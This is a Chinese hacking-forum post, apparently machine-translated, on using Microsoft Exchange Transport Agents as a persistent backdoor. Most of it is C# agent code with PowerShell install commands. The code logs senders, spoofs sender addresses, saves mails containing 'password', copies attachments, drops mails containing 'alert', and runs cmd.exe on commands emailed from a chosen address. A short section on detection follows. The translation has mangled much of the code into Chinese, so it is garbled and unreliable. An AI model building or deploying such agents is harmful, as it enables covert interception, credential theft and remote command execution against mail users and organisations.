跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

渗透技巧——使用运输代理人作为交换后门

精选回复

发布于

0x00 前言

ESET研究发现了一个专门针对Microsoft Exchange的恶意软件光神经元,使用一种从未见过的持久性技术:运输代理,能够实现以下功能:

阅读和修改通过邮件服务器的任何电子邮件

撰写并发送新电子邮件

阻止任何电子邮件。原始收件人将不会收到电子邮件

参考资料:

https://www。我们的安全。com/2019/05/07/turla-光神经元-电子邮件-太远/

https://www。我们的安全。com/WP-content/uploads/2019/05/ESET-光神经元。可移植文档格式文件的扩展名(portable document format的缩写)

本文仅在技术研究的角度,介绍运输代理人的用法,编写代码实现不同的功能,结合利用思路给出防御建议

0x01 简介

本文将要介绍以下内容:

运输代理人基础知识

运输代理人的用法

使用运输代理人监控邮件

使用运输代理人修改邮件

使用运输代理人删除邮件

使用运输代理人启动程序

防御检测

0x02 Transport Agent基础知识

参考资料

https://份文件。微软。com/en-us/previous-versions/office/developer/exchange-server-2010/DD 877026(v=exchg。140)

1.Transport Agent

可以用来扩展和修改交换的传输行为,以自定义消息的接受,拒绝,路由和传递,以及在各种类型的内容之间进行转换

简单理解,运输代理作为交换的插件,能够对交换的传输行为进行扩展和修改,例如读取、修改和删除传输的每一份邮件

2..NET Framework Extensions for Exchange

微软。交换数据命名空间提供了便于执行以下任务的类型:

读写哑剧数据

将消息正文和其他文本从一种编码转换为另一种编码

读取和写入TNEF数据

读写日历和约会

转换消息格式;例如,从超文本标记语言到多文本格式

响应简单邮件传输协议事件

响应路由事件

简单理解,使用微软。交换数据命名空间能够扩展和修改交换的传输行为

0x03 Transport Agent的使用

参考资料:

https://份文件。微软。com/en-us/previous-versions/office/developer/exchange-server-2010/aa 579185(v=exchg。140)?重定向自=MSDN

C#开发,使用微软。交换数据命名空间

使用VisualStudio,新建C#项目,项目类型选择类库,引用以下动态链接库:

微软交换。Data.Common.dll

微软交换。Data.Transport.dll

动态链接库可从交换服务器上获得,位置为%ExchangeInstallPath%Public,例如c:\ Program Files \ Microsoft \ Exchange Server \ V15 \ Public

测试代码如下:

使用系统;

使用系统。集合。泛型;

使用系统。文本;

使用微软。交换。数据。传输;

使用微软交换。数据。运输。SMTP

命名空间我的代理

{

公共密封类MyAgentFactory:SmtpReceiveAgentFactory

{

公共替代SmtpReceiveAgent创建代理(SmtpServer服务器)

{

返回新的我的代理();

}

}

公共类MyAgent : SmtpReceiveAgent

{

公共我的代理()

{

这个OnEndOfData=new EndOfDataEventHandler(MyEndOfDataHandler);

}

私有void MyEndOfDataHandler(ReceiveMessageEventSource source,EndOfDataEventArgs e)

{

//下面一行将文本追加到导致事件的消息的主题。

e.MailItem.Message.Subject=' -此文本由我的代理追加;

}

}

}

编译生成MyAgent.dll

将MyAgent.dll复制到交换服务器,保存路径为C:\test\MyAgent.dll

使用Exchange Server PowerShell安装运输代理,命令如下:

install-transport agent-Name ' MySpamFilterAgent '-TransportAgentFactory ' my agents .MyAgentFactory '-程序集路径' C:\ test \ my agent。' dll '

enable-传输代理MySpamFilterAgent

重新启动-服务MSExchangeTransport

需要重启服务MSExchangeTransport才能够生效

卸载运输代理人的命令:

uninstall-传输代理MySpamFilterAgent-Confirm:$ false

重新启动-服务MSExchangeTransport

查看这个运输代理人的命令:

get-传输代理MySpamFilterAgent | fl

查看所有运输代理人的命令:

Get-TransportAgent |fl

运输代理人安装成功后,使用任意用户发送邮件,邮件标题被修改,测试成功

0x04 使用Transport Agent实现不同的功能

示例1

监控邮件,记录发件人和时间,文件保存为c:\test\log.txt

代码如下:

使用系统;

使用系统。集合。泛型;

使用系统。文本;

使用系统。木卫一;

使用微软。交换。数据。传输;

使用微软交换。数据。运输。SMTP

命名空间我的代理

{

公共密封类MyAgentFactory:SmtpReceiveAgentFactory

{

公共替代SmtpReceiveAgent创建代理(SmtpServer服务器)

{

返回新的我的代理();

}

}

公共类MyAgent : SmtpReceiveAgent

{

公共我的代理()

{

这个OnEndOfData=new EndOfDataEventHandler(MyEndOfDataHandler);

}

私有void MyEndOfDataHandler(ReceiveMessageEventSource source,EndOfDataEventArgs e)

{

使用(系统10 . IO。流水帐文件=新系统10 . IO。StreamWriter(@ ' C:\ test \ log。txt ',true))

{

文件WriteLine('发件人:' e . mailitem。消息。发件人。smtpaddress’);

文件WriteLine(' Date:' e . mailitem。消息。日期’);

}

}

}

}

示例2

修改邮件的发件人和主题

代码如下:

使用系统;

使用系统。集合。泛型;

使用系统。文本;

使用系统。木卫一;

使用微软。交换。数据。传输;

使用微软交换。数据。运输。SMTP

命名空间我的代理

{

公共密封类MyAgentFactory:SmtpReceiveAgentFactory

{

公共替代SmtpReceiveAgent创建代理(SmtpServer服务器)

{

返回新的我的代理();

}

}

公共类MyAgent : SmtpReceiveAgent

{

公共我的代理()

{

这个OnEndOfData=new EndOfDataEventHandler(MyEndOfDataHandler);

}

私有void MyEndOfDataHandler(ReceiveMessageEventSource source,EndOfDataEventArgs e)

{

//下面一行将文本追加到导致事件的消息的主题。

e.MailItem.Message.Subject=' -此文本由我的代理追加;

e.邮件项目。消息。从。显示名称='测试2 ';

e.邮件项目。消息。从。SMTP地址=' test 2 @ test。com’;

e.邮件项目。消息。发件人。显示名称='测试2 ';

e.邮件项目。消息。发件人。SMTP地址=' test 2 @ test。com’;

}

}

}

示例3

监控邮件,如果邮件中包括字符串密码(不区分大小写),则将这份邮件保存至c:\test,文件名称为eml(为了避免文件名重复,这是使用唯一的MessageId作为文件名)

代码如下:

使用系统;

使用系统。集合。泛型;

使用系统。文本;

使用系统。木卫一;

使用微软。交换。数据。传输;

使用微软交换。数据。运输。SMTP

命名空间我的代理

{

公共密封类MyAgentFactory:SmtpReceiveAgentFactory

{

公共替代SmtpReceiveAgent创建代理(SmtpServer服务器)

{

返回新的我的代理();

}

}

公共类MyAgent : SmtpReceiveAgent

{

公共我的代理()

{

这个OnEndOfData=new EndOfDataEventHandler(MyEndOfDataHandler);

}

私有void MyEndOfDataHandler(ReceiveMessageEventSource source,EndOfDataEventArgs e)

{

long len=e . mailitem。getmimeredstream().长度;

字节[] heByte=新字节[len];

int r=e . mailitemgetmimeredstream().读取(heByte,0,heByte .长度);

string searchData=System .文字。编码。utf8。getstring(heByte);

if(搜索数据.IndexOf('password ',0,StringComparison .CurrentCultureIgnoreCase)!=-1)

{

string[]sArray=e . mailitem。消息。messageid。拆分(“@”);

萨雷[0]=萨雷[0]。子串(1);

FileStream fs=new FileStream(' c:\ \ test \ ' sArray[0]').“eml”,文件模式.创建);

fs .写(heByte,0,heByte .长度);

fs .close();

}

}

}

}

示例4

监控附件,将附件名称保存在c:\test\log.txt,将所有附件保存至c:\test,文件名称为附件名称

代码如下:

使用系统;

使用系统。集合。泛型;

使用系统。文本;

使用系统。木卫一;

使用微软。交换。数据。传输;

使用微软交换。数据。运输。SMTP

命名空间我的代理

{

公共密封类MyAgentFactory:SmtpReceiveAgentFactory

{

公共替代SmtpReceiveAgent创建代理(SmtpServer服务器)

{

返回新的我的代理();

}

}

公共类MyAgent : SmtpReceiveAgent

{

公共我的代理()

{

这个OnEndOfData=new EndOfDataEventHandler(MyEndOfDataHandler);

}

私有void MyEndOfDataHandler(ReceiveMessageEventSource source,EndOfDataEventArgs e)

{

if(e . mailitem。消息。附件。数数!=0)

{

foreach(电子邮件项目。消息。附件中的定义变量附件)

{

使用(系统10 . IO。流水帐文件=新系统10 . IO。StreamWriter(@ ' C:\ test \ log。txt ',true))

{

文件WriteLine(附件。文件名);

}

FileStream fs=新文件流(' c:\ \ test '附件.文件名,文件模式。创建);

依恋GetContentReadStream().复制到(fs);

fs .close();

}

}

}

}

}

相比于示例代码3,将数据保存至文件的功能有所区别

示例3采用了先从流中读取数据并保存在字节数组中,再将字节数组转换为字符串,最后通过文件流将字符串写入文件,这样虽然效率变慢,但是支持对全文内容进行搜索

示例代码四不需要考虑全文搜索,所以可以使用溪流。复制到复制两个流来提高效率

示例5

监控邮件,如果邮件内容包括字符串警报(不区分大小写),那么将这份邮件丢弃

代码如下:

使用系统;

使用系统。集合。泛型;

使用系统。文本;

使用系统。木卫一;

使用微软。交换。数据。传输;

使用微软交换。数据。运输。SMTP

命名空间我的代理

{

公共密封类MyAgentFactory:SmtpReceiveAgentFactory

{

公共替代SmtpReceiveAgent创建代理(SmtpServer服务器)

{

返回新的我的代理();

}

}

公共类MyAgent : SmtpReceiveAgent

{

公共我的代理()

{

这个OnEndOfData=new EndOfDataEventHandler(MyEndOfDataHandler);

}

私有void MyEndOfDataHandler(ReceiveMessageEventSource source,EndOfDataEventArgs e)

{

long len=e . mailitem。getmimeredstream().长度;

字节[] heByte=新字节[len];

int r=e . mailitemgetmimeredstream().读取(heByte,0,heByte .长度);

string searchData=System .文字。编码。utf8。getstring(heByte);

if(搜索数据.IndexOf('alert ',0,StringComparison .CurrentCultureIgnoreCase)!=-1)

{

foreach(电子邮件项目。收件人中的信封收件人ep)

{

e.邮件项目。收件人。移除(EP);

}

}

}

}

}

示例6

监控邮件,如果邮件来自指定用户([email protected]),主题为命令,那么将执行邮件正文中的内容xxxx(格式为命令:xxxx/command)

代码如下:

使用系统;

使用系统。集合。泛型;

使用系统。文本;

使用系统。木卫一;

使用微软。交换。数据。传输;

使用微软交换。数据。运输。SMTP

使用系统。诊断;

命名空间我的代理

{

公共密封类MyAgentFactory:SmtpReceiveAgentFactory

{

公共替代SmtpReceiveAgent创建代理(SmtpServer服务器)

{

返回新的我的代理();

}

}

公共类MyAgent : SmtpReceiveAgent

{

公共我的代理()

{

这个OnEndOfData=new EndOfDataEventHandler(MyEndOfDataHandler);

}

私有void MyEndOfDataHandler(ReceiveMessageEventSource source,EndOfDataEventArgs e)

{

if(e . mailitem。消息。从。SMTP地址==' testa @ test。com’)

{

如果(例如,mailitem。消息。主题。包含('命令'))

{

long len=e . mailitem。消息。身体。getcontentreadstream().长度;

字节[] heByte=新字节[len];

int r=e . mailitem消息。身体。getcontentreadstream().读取(heByte,0,heByte .长度);

string myStr=System .文字。编码。utf8。getstring(heByte);

int i=myStr .IndexOf('命令:');

int j=myStr .('/command ')的索引;

myStr=myStr .Substring(i 8,j-I-8);

进程p=新进程();

页(第页的缩写)StartInfo。文件名=' cmd.exe

页(第页的缩写)StartInfo。arguments='/c ' myStr;

页(第页的缩写)StartInfo。UseShellExecute=false

页(第页的缩写)StartInfo。RedirectStandardInput=true

页(第页的缩写)StartInfo。重定向标准输出=true

页(第页的缩写)StartInfo。RedirectStandardError=true

页(第页的缩写)StartInfo。CreateNoWindow=true

页(第页的缩写)start();

}

}

}

}

}

启动的进程权限为网络服务

补充

为了便于调试,捕获错误并将错误代码输出至文件c:\test\log.txt

代码如下:

使用系统;

使用系统。集合。泛型;

使用系统。文本;

使用系统。木卫一;

使用微软。交换。数据。传输;

使用微软交换。数据。运输。SMTP

使用系统。诊断;

命名空间我的代理

{

公共密封类MyAgentFactory:SmtpReceiveAgentFactory

{

公共替代SmtpReceiveAgent创建代理(SmtpServer服务器)

{

返回新的我的代理();

}

}

公共类MyAgent : SmtpReceiveAgent

{

公共我的代理()

{

这个OnEndOfData=new EndOfDataEventHandler(MyEndOfDataHandler);

}

私有void MyEndOfDataHandler(ReceiveMessageEventSource source,EndOfDataEventArgs e)

{

尝试

{

}

接住(例外ex)

{

使用(系统10 . IO。流水帐文件=新系统10 . IO。StreamWriter(@ ' C:\ test \ log。txt ',true))

{

文件WriteLine(例如。消息);

}

}

}

}

}

0x05 防御检测

1.查看Transport Agent配置

使用Exchange Server PowerShell,命令如下:

Get-TransportAgent

其他Powershell命令可参考:

https://docs.microsoft.com/en-us/powershell/module/exchange/?view=exchange-PS #邮件流

2.查看服务日志

安装运输代理人需要重启服务MSExchangeTransport

3.查看进程

使用运输代理人后,进程w3wp.exe将会加载对应的动态链接库

可以查看进程w3wp.exe是否加载可疑动态链接库

0x06 小结

本文介绍了运输代理人的用法,编写代码实现对邮件的记录、修改和删除,实现了作为后门使用的常用功能,结合利用思路给出防御建议

留下回复

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。